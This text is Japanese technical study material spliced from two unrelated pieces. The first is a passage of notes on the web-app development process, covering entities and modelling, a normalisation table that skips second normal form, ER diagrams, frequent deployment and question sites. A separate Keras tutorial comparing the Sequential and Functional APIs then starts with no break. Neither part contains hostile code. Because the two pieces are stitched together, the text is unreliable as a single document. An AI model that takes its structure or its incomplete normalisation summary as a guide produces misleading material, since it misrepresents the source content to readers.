具体的に考える項目としては、「テーブル」や「カラム」、「関連付け(アソシエーション)」など

1. サービスで扱われる情報(エンティティ)を整理する
    [![Image from Gyazo](https://i.gyazo.com/74cc4bd484ebec1b550716b018de278d.png)](https://gyazo.com/74cc4bd484ebec1b550716b018de278d)
1. エンティティの分類や関連付けなどを行い、模型のように表す(モデリング)
    [![Image from Gyazo](https://i.gyazo.com/e0d93e63ffd37f56b381f100d0db6331.png)](https://gyazo.com/e0d93e63ffd37f56b381f100d0db6331)
1. テーブルの情報を利用しやすい形に変えていく(正規化)
    |正規形の段階|概要|
    |-|-|
    |非正規形|何もしていない状態|
    |第一正規形|重複する値やカラムを分離する|
    |第三正規形|情報が混在するエンティティを分離する|

#### ER(Entity Relationship)図
DBのテーブルなどを図で表記したもの

[![Image from Gyazo](https://i.gyazo.com/21b647a26bef09edc24b698c00661794.png)](https://gyazo.com/21b647a26bef09edc24b698c00661794)

## 開発
プログラミング言語などを使用し、アプリ開発を行う

### 注意点
1つ機能を作り終えたくらいのタイミングでアプリケーションをデプロイする

全ての機能を作成し終えてからデプロイしようとすると、トラブルが発生した時に解決する労力が大きくなってしまうことがあるため

機能を作るたびにデプロイすることで、エラー発生しても問題の切り分けが楽になる

### 質問できるサービス
#### Teratail
ITエンジニアに特化した質問サイト
会員登録をすれば、無料で質問を書き込める

https://teratail.com/

#### MENTA
ITエンジニアなどに質問できるサービス
単発の質問は1回1000円 ~ などで行うことが可能

https://menta.work/

## デプロイ
作ったアプリを外部のサーバーに移して、全世界からアクセスできるように設定すること

## 保守/運用
動いているアプリに異常がないか定期的に確かめることや、トラブルが発生したら対処すること
【Tensorflow Keras】Sequential APIとFunctional API


## はじめに
Keras にはモデルを定義するための大きく分けて２つのスタイルがあり、
それぞれ用途や表現力に特徴があります。以下で順番に解説します。


## 1. Sequential API

### 概要

- `tf.keras.Sequential` クラスを使い、**層（Layer）を上から下へ積み重ねるだけ**でモデルを定義できるシンプルな方法。
- 入力から出力への流れが一直線で、ブランチ（分岐）やスキップ接続が不要な場合に最適。

### 特長

- **簡潔**：コード量が少なく、初心者にも分かりやすい。
- **直感的**：ネットワーク構造がそのまま層のリストとして表現される。
- **制限あり**：
    - **単一の入力**・**単一の出力** のみ対応。
    - 層の間で分岐や複数の並列パスを作れない。

### 使い方の例

```python
import tensorflow as tf

model = tf.keras.Sequential([
    tf.keras.layers.Dense(64, activation='relu', input_shape=(32,)),  # 入力層
    tf.keras.layers.Dense(64, activation='relu'),                     # 隠れ層
    tf.keras.layers.Dense(10, activation='softmax')                   # 出力層
])

model.compile(optimizer='adam',
              loss='sparse_categorical_crossentropy',
              metrics=['accuracy'])

```

- `input_shape` は最初の層でのみ指定。
- 以降は自動的に前層の出力形状を引き継ぐ。

---

## 2. Functional API

### 概要

- 関数型（Functional）スタイルで**テンソルどうしの演算としてモデル構造を定義**していく方法。
- 入出力のテンソルを直接結びつけることで、**複雑な分岐**や**並列パス**、**複数入力・複数出力**モデルが自在に構築できる。

### 特長

- **高い柔軟性**：
    - 異なる層を分岐させてマージしたり、残差接続（ResNet のようなスキップ）を組み込んだり、グラフ構造を自由に設計可能。
    - **複数の入力**・**複数の出力** に対応。
- **再利用性**：同じ層オブジェクトを複数の場所で使い回せる。
- **可読性**：構造がテンソルの流れとして明示的に書けるので、大規模モデルでも把握しやすい。

### 使い方の例：並列経路とマージ

```python
import tensorflow as tf

# 入力テンソルを宣言
input_tensor = tf.keras.Input(shape=(32,))

# 分岐パスA
x1 = tf.keras.layers.Dense(64, activation='relu')(input_tensor)
x1 = tf.keras.layers.Dense(64, activation='relu')(x1)

# 分岐パスB
x2 = tf.keras.layers.Dense(32, activation='relu')(input_tensor)
x2 = tf.keras.layers.Dense(32, activation='relu')(x2)

# 分岐を結合（マージ）
merged = tf.keras.layers.concatenate([x1, x2])

# 結合後の出力層
output_tensor = tf.keras.layers.Dense(10, activation='softmax')(merged)

# モデルを定義
model = tf.keras.Model(inputs=input_tensor, outputs=output_tensor)

model.compile(optimizer='adam',
              loss='sparse_categorical_crossentropy',
              metrics=['accuracy'])

```

- `tf.keras.Input` で入力形状を持つテンソルを作成。
- 各層を「関数呼び出し」のようにチェーンしていき、最終的に `Model(inputs=…, outputs=…)` で組み立てる。

---

## どちらを使うべき？

| 特徴 | Sequential API | Functional API |
| --- | --- | --- |
| モデル構造 | 単純な直線的ネットワーク | 分岐・並列・スキップなど自由 |
| 入力／出力数 | 単一 | 複数可 |
| コードの簡潔さ | ◎ | ○ |
| 拡張性・再利用性 | △ | ◎ |
| 初心者向け | ◎ | ○ |
- **まずは Sequential でシンプルなモデルを素早く試したい** → Sequential API
- **複雑なアーキテクチャ（ResNet, Inception, マルチタスク学習 など）を組みたい** → Functional API

---

### まとめ

1. **Sequential API**
    - 層をリストとして積み重ねるだけの簡単な書き方
    - 単一入力・単一出力のネットワーク向き
2. **Functional API**
    - テンソル同士の演算でモデルを“グラフ”として柔軟に定義
    - 分岐・並列・複数入出力・スキップ接続など自由度が高い

用途に応じて使い分けることで、Keras の魅力である「シンプルかつパワフル」な深層学習開発が実現できます。